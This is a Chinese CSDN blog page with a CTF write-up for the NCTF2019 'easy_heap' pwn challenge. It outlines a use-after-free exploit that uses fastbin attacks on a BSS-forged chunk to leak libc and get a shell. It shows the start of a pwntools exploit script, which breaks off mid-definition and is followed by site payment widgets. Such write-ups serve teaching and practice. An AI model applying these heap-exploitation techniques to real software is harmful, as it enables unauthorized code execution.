【Pwn】NCTF2019 easy_heap

该博客详细分析了NCTF2019 easy_heap挑战中的堆溢出漏洞,指出在free后指针未清零导致的Use-After-Free(UAF)问题。由于程序对堆分配大小有限制,通过在BSS段伪造堆块并利用fastbin attack,可以突破限制,进一步泄露libc地址。然后,通过第二次fastbin attack实现获取shell的目标。
摘要由CSDN通过智能技术生成

查看程序保护。
在这里插入图片描述分析程序,漏洞在free之后指针没置0,导致uaf;堆的分配大小做了限制0x50该变量在bss段上,刚好bss段上存放了用户名信息,所以先考虑在bss上伪造堆块,进行一次fastbinattack,分配到bss段,修改限制大小,去掉限制之后就是常规操作了,unsortbin泄露libc,再进行一次fastbinattack,getshell。

from pwn import *

io=remote('xx.xx.xx.xx',xxxxx)
libc=ELF('./libc-2.23.so')

def add(size,data):
    io.recvuntil('4. exit\n')
    io.sendline('1')
    io.recvuntil('heap_size?')
    io.sendline(str(size))
    io.recvuntil('heap_content?')
    io.send(data)

def free
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值